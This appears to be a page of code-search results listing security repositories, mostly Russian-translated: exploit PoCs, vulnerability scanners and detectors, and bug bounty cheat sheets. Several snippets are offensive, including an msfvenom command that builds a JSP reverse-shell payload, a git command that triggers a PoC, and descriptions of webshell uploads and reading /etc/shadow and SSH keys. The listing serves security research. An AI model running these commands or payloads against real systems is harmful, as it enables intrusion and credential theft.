16312 matches found
bugbounty-cheatsheet
Шпаргалка по Bug Bounty 📚 Справочник| 🔎 Уязвимости ---|--- Платформы Bug Bounty| XSS Книги| SQLi Специальные инструменты| SSRF Разведка| CRLF-инъекция Платформы для практики| CSV-инъекция Советы по Bug Bounty| LFI | XXE | RCE | Открытое перенаправление | Криптография | Инъекция шаблонов | Инъекци...
CVE-2025-55182
CVE-2025-55182 - Инструмент React2Shell React2Shell Ultimate Scanner v2.0 Профессиональный сканер уязвимостей RCE для Next.js RSC, нацеленный на CVE-2025-66478 🎯 Обзор React2Shell Ultimate — это комплексный сканер уязвимостей для CVE-2025-66478 — критической уязвимости удаленного выполнения кода...
CVE-2014-2383-LFI-to-RCE-Escalation
CVE-2014-2383 эскалация LFI/RFI до RCE Тестовая среда: dompdf 0.6.0 - php 7.3.33 - apache 2.4.25 В ходе оценки безопасности было обнаружено наличие CVE-2014-2383. Этот документ является доказательством концепции и не содержит деталей первоначального обнаружения для защиты конфиденциальности...
CVE-2025-48384
PoC для CVE-2025-48384 См. CVE-2025-48384 Для запуска: git -c protocol.file.allow=always clone --recurse-submodules [email protected]:liamg/CVE-2025-48384.git Пример вывода: git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 test Cloning into 'test'... done. 'ubmodul...
exploits
эксплойты CVE-2021-22600: эксплойт для локального повышения привилегий LPE в ядре Linux CVE-2021-3156: локальное повышение привилегий в Linux через переполнение кучи в sudo Демо CVE-2021-3156: эксплойт «в один выстрел» для уязвимости переполнения кучи в sudo CVE-2020-6507: запись за пределами...
CVE-2024-53345
CVE-2024-53345 Критическая 0-day уязвимость в системе управления арендой автомобилей версий 1.0 - 1.3 Описание: В системе управления арендой автомобилей версии 1.0 - 1.3 в функциональности загрузки файлов модуля System Settings существует критическая уязвимость, которая позволяет пользователям с...
log4j-poc
log4j-poc Une exploitation RCE LDAP pour CVE-2021-44228 Log4Shell Description Le serveur Tomcat 8 de démonstration sur le port 8080 possède une application vulnérable log4shell déployée et le serveur est également vulnérable via des attaques par user-agent. L'application d'exploitation distante d...
CVE-2025-55182-react2shell
CVE-2025-55182: Детектор раскрытых React Server Components RSC Этот репозиторий содержит шаблон Nuclei для обнаружения раскрытия React Server Components , связанного с CVE-2025-55182. Уязвимость затрагивает приложения, построенные на React/Next.js, в которых уровень согласования RSC непреднамерен...
parquet-rce-poc-CVE-2025-30065
CVE-2025-30065 Этот репозиторий иллюстрирует, как эксплуатировать CVE-2025-30065 и добиться удалённого создания экземпляров классов, а также инициировать сетевой запрос из приложения жертвы, т.е. JVM, тем самым достигая SSRF. Сгенерированный parquet в Malicious.java предполагает, что класс...
log4shell_ioc_ips
j4shelliocips Gros dump des adresses IP malveillantes connues de log4j/log4shell, uniques et triées, mise à jour une fois par heure uniquement si des modifications sont apportées ! CVE-2021-44228 bonne chasse avertissement Ce script analyse beaucoup de sources, donc cette liste peut contenir...
Fast-CVE-2022-22965
標的マシン docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest リバースシェルは実質的にmsfvenomを参照しています msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp jspをURLエンコードした後、次を使用します %3C%25替换 %25%7Bc2%7Di 代表 コードではサーバーの種類に応じてshellpathを変更する判定を行っています if...
CVE-2025-53770-Checker
CVE-2025-53770-Checker Проверяет, уязвим ли локальный сервер SharePoint для CVE-2025-53770 Неинтрузивный детектор уязвимости CVE-2025-53770 в SharePoint Server Разработка: Division81 команда этичных хакеров Grupo Oruss Техническое описание CVE-2025-53770 — это критическая ошибка десериализации .N...
CVE-2024-6387
Проверка уязвимости OpenSSH CVE-2024-6387 Этот скрипт на Python проверяет, запущена ли на серверах уязвимая версия OpenSSH, подверженная уязвимости CVE-2024-6387. Он сканирует указанные IP-адреса или диапазоны сетей на наличие баннера OpenSSH и сравнивает его с известными уязвимыми версиями...
CVE-2023-4226
🛠️ Эксплуатация CVE-2023-4226 для Chamilo LMS 📋 Описание Скрипт на Python, автоматизирующий эксплуатацию CVE-2023-4226 — уязвимости неограниченной загрузки файлов в Chamilo LMS = v1.11.24. Загружает PHP-вебшелл на основе PentesterMonkey и настраивает .htaccess для получения reverse shell...
CVE-2023-22884-Airflow-SQLi
Apache Airflow SQL-инъекция PoC CVE-2023-22884 PoC для CVE-2023-22884 — это уязвимость RCE в Apache Airflow, затрагивающая версии до 2.4.0. В официальном отчете говорится: Неправильная нейтрализация специальных элементов, используемых в команде уязвимость 'Command Injection' в Apache Software...
CVE-2022-30190
CVE-2022-30190 Воспроизведение RCE в Microsoft Office Word CVE-2022-30190 Введение в уязвимость Файлы MS Office docx могут содержать внешние ссылки на объекты OLE в виде HTML-файлов. Существует HTML-сценарий ms-msdt:, который вызывает диагностический инструмент msdt, способный выполнять...
CVE-2023-22621-POC
CVE-2023-22621-POC CVE-2023-22621: SSTI to RCE через эксплуатацию email-шаблонов, затрагивающая Strapi версии return strapi.config.get'plugin.email'; ; const send = async options = return strapi.plugin'email'.provider.sendoptions; ; / fill subject, text and html using lodash template @param objec...
CVE-2019-9653
CVE-2019-9653 Дата Раскрытие: 03/11/2019 Последнее обновление: 03/15/2019 Краткое описание NUUO Inc. — компания, предоставляющая решения для видеонаблюдения. У них есть множество продуктов NVR Network Video Recorder — сетевой видеорегистратор для разных заказчиков с различными требованиями. Эти N...
CVE-2019-7192_QNAP_Exploit
QNAP Pre-Auth Root RCE CVE-2019-7192 CVE-2019-7195 Эксплойт на данный момент вы можете читать системные файлы /etc/shadow, ssh private key и т.д. Использование: pip install -r requirements.txt or just pip install requests python3 gundy.py https://vulnerableurl:port Пример вывода Уязвимость...